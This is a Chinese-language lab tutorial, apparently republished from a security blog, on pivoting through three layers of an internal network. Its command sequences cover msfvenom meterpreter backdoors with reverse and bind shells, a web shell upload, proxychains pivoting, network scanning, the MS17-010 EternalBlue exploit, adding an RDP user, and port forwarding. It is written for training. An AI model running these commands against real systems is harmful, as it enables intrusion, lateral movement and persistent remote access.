8

一个实验了解多层内网渗透

 3 years ago
source link: https://www.anquanke.com/post/id/244907
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client
robots

近年来,攻击者潜伏在企业内网进行攻击的安全事件屡见不鲜,攻击者在经常会企业的内网进行横向渗透,令防守方防不胜防。因此,我们应该严格控制好网络区域之间的访问规则,加大攻击横向渗透的阻力。本文由锦行科技的安全研究团队提供,旨在通过实验演示进一步了解攻击者是如何在多层内网进行的渗透。

1.实验简介

网络拓扑图

渗透机:win10+kali

第一层靶机 (外网web服务器): Linux

第二场靶机 (内网web服务器): Linux

第三层靶机 (内网办公机) : win7

用三层网络来模拟内外网环境,主要了解MSF、内网转发等。

2.环境搭建

第一层网络

把渗透机kali和win10网卡1设置选择VMnet1:

靶机Linux网卡1设置选择VMnet1,添加网卡2 设置选择VMnet2:

第二层网络

将第二台靶机Linux网卡1设置选择VMnet2,添加网卡2 设置选择VMnet3:

第三层网络

将靶机win7网卡1设置选择VMnet3:

再配置好各台机器对应IP即可。

在第一台Linux和第二台Linux上搭建一个php上传页面,设为存在文件上传漏洞的web页面,以便后续的拿shell进行内网渗透。

第一台Linux

第二台Linux

3.实验过程

第一层靶机

win10访问http://192.168.85.131/直接上传一句话木马

进一步做内网渗透,上传msf后门

打开kali msfconsole 输入msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.85.128 LPORT=4444 -f elf > mshell.elf

生成一个名为mshell.elf的msf后门文件

蚁剑把后门文件上传到Linux靶机

返回msf 开启监听

use exploit/multi/handler 使用监听模块
set payload linux/x64/meterpreter/reverse_tcp 使用和木马相同的payload
set lhost 192.168.85.128 kaili 的ip
set lport 4444 木马的端口
run 执行

蚁剑打开虚拟终端cd到后门文件的目录下,执行后门文件,输入

chmod 777 mshell.elf 加执行权限
./mshell.elf 执行文件

Kail接受到MSF会话

输入ifconfig,发现第二层172.10.10.0/24网段

background 将会话转到后台
route add 172.10.10.0/24 1
添加 172.10.10.0/24网段 使用session1
route print 查看路由表

使用MSF建立socks代理
use auxiliary/server/socks4a
set srvhost 192.168.85.128
set srvport 10080
run

配置socks4代理的相关客户端Proxychains
在配置文件/etc/proxychains.conf中添加:
socks4 192.168.85.128 10080
vi /etc/proxychains.conf

添加socks4 192.168.85.128 10080

这样利用proxychains启动的应用都可以带sock4代理,proxychains 为kali自带的,非MSF里的。

建立好代理后渗透机可以通过这台Linux当跳板机进入第二层网络

第二层网络

nmap探测存在web服务的主机

用proxychans启动nmap对第二层网段进行80端口扫描,执行proxychains nmap -sT -Pn -p 80 172.10.10.0/24

扫描发现55和56存在web服务,172.10.10.56即为第二层网络的ip

由于proxychains无法代理icmp的数据包,所以必须添加-sT -Pn参数,即不检测主机是否存活,直接进行端口tcp扫描。

脚本探测存活主机

在本地创建一个名为ping.sh的脚本,脚本内容如下:

#!/bin/bash
ip=”172.10.10.”
echo “ping log:” > ./ping.txt
for i in {1..254}
do
ping -c 1 -w 1 -W 1 $ip$i | grep -q “ttl=” && echo “$ip$i [yes]” >> ./ping.txt || echo “$ip$i [no]” >> ./ping.txt &
done
echo “wait 5s….”
sleep 5
cat ./ping.txt
cat ./ping.txt | wc -l

Kali进入session1会话,然后upload命令上传刚刚创建的脚本到靶机upload /root/ping.sh /var/www/hrml/upload

进入shell执行

python -c ‘import pty;pty.spawn(“/bin/bash”)’

创建一个完全交互式shell,后

Chmod 777 ping.sh
./ping.sh

可以看到172.10.10.0/24网段存活56.57两台

知道存活主机ip后就可以继续进入第二层内网主机

渗透机浏览器配置sock4a代理

蚁剑加代理连接

连接 http://172.10.10.56/upload/php1.php

进一步做内网渗透,继续上传msf后门

制作MSF后门

返回kali msf 输入

msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4455 -f elf > mshell1.elf

生成 mshell1.elf后门文件

因为在内网跨网段时无法反向代理连接到渗透的机器,所以这里使用linux/x64/meterpreter/bind_tcp 这个payload进行正向代理连接。
蚁剑上传后门

蚁剑打开虚拟终端执行后门文件

输入ifconfig 发现第三层网络的网段10.10.10.0/24

第三层网络
添加路由

background
route add 10.10.10.0/24 2
route print

进入session 2 上传 脚本 探测存活主机
注意把脚本的ip段修改成该网段再上传

探测到第三层网段的存活ip :10.10.10.101

proxychans 启动nmap对10.10.10.101的1-500端口扫描,执行
proxychains nmap -sT -Pn -p 1-500 10.10.10.101

发现445端口开启

尝试使用ms17-010
use windows/smb/ms17_010_eternalblue
set rhost 10.10.10.101
set payload windows/x64/meterpreter/bind_tcp
set lport 4466

Run ,存在445漏洞

执行成功,返回会话

开启3389远程桌面

run post/windows/manage/enable_rdp 开启远程桌面
run post/windows/manage/enable_rdp USERNAME=zzy PASSWORD=123qwe!@# 添加远程用户

将3389端口转回kali本地5555端口
portfwd add -l 5555 -p 3389 -r 10.10.10.101

Win10远程桌面连接


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK